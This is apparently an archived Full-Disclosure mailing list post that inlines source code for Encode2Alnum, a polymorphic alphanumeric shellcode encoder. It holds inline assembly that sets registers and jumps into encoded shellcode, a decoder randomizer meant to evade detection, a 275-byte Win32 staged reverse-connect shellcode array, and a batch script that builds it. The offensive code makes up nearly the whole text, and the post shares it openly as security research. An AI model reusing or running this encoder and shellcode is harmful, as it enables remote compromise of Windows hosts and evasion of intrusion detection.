                                        mov edx, EncodedShellcode
                                        jmp EncodedShellcode
                                }
                        }
                        else
                        {
                                if (reg_negative) // "EDX-off"
                                {
                                        _asm
                                        {
                                                mov edx, EncodedShellcode
                                                add edx, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                                else // "EDX+off"
                                {
                                        _asm
                                        {
                                                mov edx, EncodedShellcode
                                                sub edx, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                        }
                }
                else
                {
                        if (!reg_offset) // "[EDX]"
                        {
                                _asm
                                {
                                        mov edx, pEncodedShellcode
                                        jmp EncodedShellcode
                                }
                        }
                        else
                        {
                                if (reg_negative) // "[EDX-off]"
                                {
                                        _asm
                                        {
                                                mov edx, pEncodedShellcode
                                                add edx, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                                else // "[EDX+off]"
                                {
                                        _asm
                                        {
                                                mov edx, pEncodedShellcode
                                                sub edx, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                        }
                }
        }
        else if (reg_type == ESI)
        {
                if (!reg_indirect)
                {
                        if (!reg_offset) // "ESI"
                        {
                                _asm
                                {
                                        mov esi, EncodedShellcode
                                        jmp EncodedShellcode
                                }
                        }
                        else
                        {
                                if (reg_negative) // "ESI-off"
                                {
                                        _asm
                                        {
                                                mov esi, EncodedShellcode
                                                add esi, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                                else // "ESI+off"
                                {
                                        _asm
                                        {
                                                mov esi, EncodedShellcode
                                                sub esi, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                        }
                }
                else
                {
                        if (!reg_offset) // "[ESI]"
                        {
                                _asm
                                {
                                        mov esi, pEncodedShellcode
                                        jmp EncodedShellcode
                                }
                        }
                        else
                        {
                                if (reg_negative) // "[ESI-off]"
                                {
                                        _asm
                                        {
                                                mov esi, pEncodedShellcode
                                                add esi, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                                else // "[ESI+off]"
                                {
                                        _asm
                                        {
                                                mov esi, pEncodedShellcode
                                                sub esi, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                        }
                }
        }
        else if (reg_type == EDI)
        {
                if (!reg_indirect)
                {
                        if (!reg_offset) // "EDI"
                        {
                                _asm
                                {
                                        mov edi, EncodedShellcode
                                        jmp EncodedShellcode
                                }
                        }
                        else
                        {
                                if (reg_negative) // "EDI-off"
                                {
                                        _asm
                                        {
                                                mov edi, EncodedShellcode
                                                add edi, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                                else // "EDI+off"
                                {
                                        _asm
                                        {
                                                mov edi, EncodedShellcode
                                                sub edi, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                        }
                }
                else
                {
                        if (!reg_offset) // "[EDI]"
                        {
                                _asm
                                {
                                        mov edi, pEncodedShellcode
                                        jmp EncodedShellcode
                                }
                        }
                        else
                        {
                                if (reg_negative) // "[EDI-off]"
                                {
                                        _asm
                                        {
                                                mov edi, pEncodedShellcode
                                                add edi, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                                else // "[EDI+off]"
                                {
                                        _asm
                                        {
                                                mov edi, pEncodedShellcode
                                                sub edi, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                        }
                }
        }
        else if (reg_type == EBP)
        {
                if (!reg_indirect)
                {
                        if (!reg_offset) // "EBP"
                        {
                                _asm
                                {
                                        mov eax, EncodedShellcode
                                        mov ebp, eax
                                        jmp eax
                                }
                        }
                        else
                        {
                                if (reg_negative) // "EBP-off"
                                {
                                        _asm
                                        {
                                                mov eax, EncodedShellcode
                                                mov ebp, eax
                                                add ebp, reg_offset
                                                jmp eax
                                        }
                                }
                                else // "EBP+off"
                                {
                                        _asm
                                        {
                                                mov eax, EncodedShellcode
                                                mov ebp, eax
                                                sub ebp, reg_offset
                                                jmp eax
                                        }
                                }
                        }
                }
                else
                {
                        if (!reg_offset) // "[EBP]"
                        {
                                _asm
                                {
                                        mov eax, pEncodedShellcode
                                        mov ebp, eax
                                        mov eax, [eax]
                                        jmp eax
                                }
                        }
                        else
                        {
                                if (reg_negative) // "[EBP-off]"
                                {
                                        _asm
                                        {
                                                //int 3
                                                mov eax, pEncodedShellcode
                                                add ebp, reg_offset
                                                mov ebp, eax
                                                mov eax, pEncodedShellcode
                                                jmp eax
                                        }
                                }
                                else // "[EBP+off]"
                                {
                                        _asm
                                        {
                                                //int 3
                                                mov eax, pEncodedShellcode
                                                sub eax, reg_offset
                                                mov ebp, eax
                                                mov eax, pEncodedShellcode
                                                jmp eax
                                        }
                                }
                        }
                }
        }
        else if (reg_type == ESP)
        {
                if (!reg_indirect)
                {
                        if (!reg_offset) // "ESP"
                        {
                                char *tmp;
                                _asm
                                {
                                        sub esp, EncodedShellcodeLength
                                        mov tmp, esp
                                }
                                memcpy(tmp, EncodedShellcode, EncodedShellcodeLength);
                                _asm
                                {
                                        jmp esp
                                }
                        }
                        else
                        {
                                if (reg_negative) // "[ESP-off]"
                                {
                                        _asm
                                        {
                                                //int 3
                                                mov eax, pEncodedShellcode
                                                sub esp, reg_offset
                                                mov [esp], eax
                                                add esp, reg_offset
                                                mov eax, EncodedShellcode
                                                jmp eax
                                        }
                                }
                                else // "[ESP+off]"
                                {
                                        _asm
                                        {
                                                //int 3
                                                sub esp, 4
                                                mov eax, pEncodedShellcode
                                                mov [esp], eax
                                                sub esp, reg_offset
                                                mov eax, EncodedShellcode
                                                jmp eax
                                        }
                                }
                        }
                }
                else
                {
                        if (!reg_offset) // "[ESP]"
                        {
                                _asm
                                {
                                        mov eax, EncodedShellcode
                                        push eax
                                        jmp EncodedShellcode
                                }
                        }
                        else
                        {
                                if (reg_negative) // "[ESP-off]"
                                {
                                        _asm
                                        {
                                                //int 3
                                                mov eax, EncodedShellcode
                                                sub esp, reg_offset
                                                push eax
                                                add esp, reg_offset

                                                jmp EncodedShellcode
                                        }
                                }
                                else // "[ESP+off]"
                                {
                                        _asm
                                        {
                                                //int 3
                                                mov eax, pEncodedShellcode
                                                push eax
                                                sub esp, reg_offset
                                                jmp EncodedShellcode
                                        }
                                }
                        }
                }
        }
        else
        {
                assert(0);
        }
}
#endif

=== enc2alnum/randomize.c
// Encode2Alnum (polymorphic alphanumeric decoder/encoder)
// Copyright (C) 2003-2004, Matt Conover, Avri Schneider and Soren Macbeth
#include <windows.h>
#include "enc2alnum.h"

RANDOMIZER g_Randomizers[] =
{
        //{ '^', 0, FALSE, ALNUM_CHARSET },
        { '*', 0, FALSE, INDIRECT_CHARSET },
        { '!', 3, TRUE, INDIRECT_CHARSET },
        { 0, 0, FALSE, NULL }
};

BYTE Key;
BYTE Terminator;

BYTE GetRandomByte()
{
        BYTE alnum;
        do { alnum = RANDOM_ALNUM(); } while (!isalnum(alnum));
        return alnum;
}

void Randomize(BYTE *In, BYTE RandomArray[], DWORD Length)
{
        DWORD i;

        for (i = 0; i < Length; i++)
        {
                In[i] = RandomArray[rand() % strlen(RandomArray)];
        }
}

int FindRandomizerIndex(BYTE RandomizeKey)
{
        int i;
        for (i = 0; g_Randomizers[i].RandomizeKey != 0; i++)
        {
                if (g_Randomizers[i].RandomizeKey == RandomizeKey) return i;
        }
        return -1;
}

BOOL RandomizeDecoder(BYTE *Buffer, DWORD Length)
{
        DWORD i;
        DWORD RandomizerLength;
        int Index;
        DWORD saved_i = 0;
        BYTE saved_key = 0;
        BOOL ReplaceNextMatch = FALSE;

        for (i = 0; i < Length; i++)
        {
                if (isalnum(Buffer[i])) continue;
                if (Buffer[i] == KEY)
                {
                        Buffer[i] = Key = GetRandomByte();
                }
                else if (Buffer[i] == TERMINATOR)
                {
                        Buffer[i] = Terminator = GetRandomByte();
                }
                else
                {
                        Index = FindRandomizerIndex(Buffer[i]);
                        if (Index < 0)
                        {
fprintf(stderr, "ERROR: invalid stub or decoder (unknown randomizer '%c')\n", Buffer[i]);
                                return FALSE;
                        }
                        RandomizerLength = 1 + g_Randomizers[Index].Extra;
                        if (ReplaceNextMatch && Buffer[i] == saved_key)
                        {
                                memcpy(Buffer+i, Buffer+saved_i, RandomizerLength);
                                ReplaceNextMatch = FALSE;
                                saved_i = 0;
                                saved_key = 0;
                                i += g_Randomizers[Index].Extra;
                        }
                        else
                        {
                                if (g_Randomizers[Index].ReplaceNextMatch)
                                {
                                        ReplaceNextMatch = TRUE;
                                        saved_i = i;
                                        saved_key = Buffer[i];
                                }

Randomize(Buffer+i, g_Randomizers[Index].CharacterSet, RandomizerLength);
                        }
                }
        }

        return TRUE;
}

=== enc2alnum/shellcode_samples/win32_stage_reverse_read.c
BYTE HexDump[] = // 275 bytes
        "\x81\xe4\xfc\xff\xff\xff\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b"
        "\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b"
        "\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31"
        "\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24"
        "\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01"
        "\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08"
        "\x00\x5e\x6a\x30\x59\x64\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b"
        "\x8b\x5b\x08\x53\x68\x8e\x4e\x0e\xec\xff\xd6\x89\xc7\x81\xec\x00"
        "\x01\x00\x00\x57\x56\x53\x89\xe5\xe8\x1f\x00\x00\x00\x90\x01\x00"
        "\x00\xb6\x19\x18\xe7\xa4\x19\x70\xe9\xec\xf9\xaa\x60\xd9\x09\xf5"
        "\xad\xcb\xed\xfc\x3b\x57\x53\x32\x5f\x33\x32\x00\x5b\x8d\x4b\x18"
        "\x51\xff\xd7\x89\xdf\x89\xc3\x8d\x75\x14\x6a\x05\x59\x51\x53\xff"
        "\x34\x8f\xff\x55\x04\x59\x89\x04\x8e\xe2\xf2\x2b\x27\x54\xff\x37"
        "\xff\x55\x28\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x24"
        "\x89\xc7\x68\xaa\xbb\xcc\xdd\x68\x02\x00\xab\xcd\x89\xe1\x6a\x10"
        "\x51\x57\xff\x55\x20\x59\x59\x81\xec\x00\x10\x00\x00\x89\xe3\x6a"
        "\x00\x68\x00\x10\x00\x00\x53\x57\xff\x55\x18\x81\xec\x00\x04\x00"
        "\x00\xff\xd3";

=== enc2alnum/shellcode_samples/make.bat
@echo off
del win32_stage_reverse_read.bin 2>NUL
nasmw -f bin -o win32_stage_reverse_read.bin win32_stage_boot_reverse_read.asm
hexdump -h -c win32_stage_reverse_read.bin > win32_stage_reverse_read.c
echo Bin is win32_stage_reverse_read.bin
echo C string is win32_stage_reverse_read.c

=== enc2alnum/shellcode_samples/win32_stage_api.asm
Original by HDM, see www.metasploit.com

=== enc2alnum/shellcode_samples/win32_stage_boot_reverse.asm
Original by HDM, see www.metasploit.com

=== enc2alnum/shellcode_samples/win32_stage_boot_reverse_read.asm
Original by HDM, see www.metasploit.com

_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today - it's FREE! http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


  By Date           By Thread  

Current thread:
  • RE: On Polymorphic Evasion (attached inline this time) m conover (Oct 05)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]